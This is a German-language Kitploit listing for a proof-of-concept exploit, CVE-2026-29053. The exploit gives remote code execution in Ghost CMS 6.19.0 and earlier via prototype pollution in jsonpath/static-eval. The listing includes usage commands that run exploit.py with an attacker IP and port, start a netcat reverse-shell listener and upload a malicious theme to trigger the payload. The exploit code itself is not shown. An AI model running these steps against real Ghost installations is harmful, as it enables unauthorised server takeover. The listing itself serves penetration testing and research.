Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-29053 — Proof-of-Concept-Exploit für die Remote-Codeausführung in Ghost CMS über Prototype Pollution in jsonpath und static-eval, mit Einrichtung einer verwundbaren Umgebung und Nutzungsanleitung. | Kitploit
Tools/GitHubGitHub/rootxran/cve-2026-29053
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubrootxran/cve-2026-29053

CVE-2026-29053

Proof-of-Concept-Exploit für die Remote-Codeausführung in Ghost CMS über Prototype Pollution in jsonpath und static-eval, mit Einrichtung einer verwundbaren Umgebung und Nutzungsanleitung.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-29053

Ghost CMS RCE über jsonpath/static-eval-Prototypenkette.

Info

  • CVE: CVE-2026-29053
  • Betroffen: Ghost <= 6.19.0 mit jsonpath 1.1.1 + static-eval 2.0.2
  • Behoben: 6.19.1

Demo

CVE-2026-29053.webm

Verwundbare Umgebung einrichten

root@kitploit:~
cd build
./build.sh

Verwendung

root@kitploit:~
python3 exploit.py -i <YOUR_IP> -p <PORT>
  1. Listener starten: nc -lvnp <PORT>
  2. malicious-theme.zip in Ghost Admin → Einstellungen → Design hochladen
  • Seite mit Slug rce erstellen
  • /rce/ aufrufen

    • Referenzen

    • https://github.com/TryGhost/Ghost/security/advisories/GHSA-cgc2-rcrh-qr5x
    • https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x
    Tool herunterladen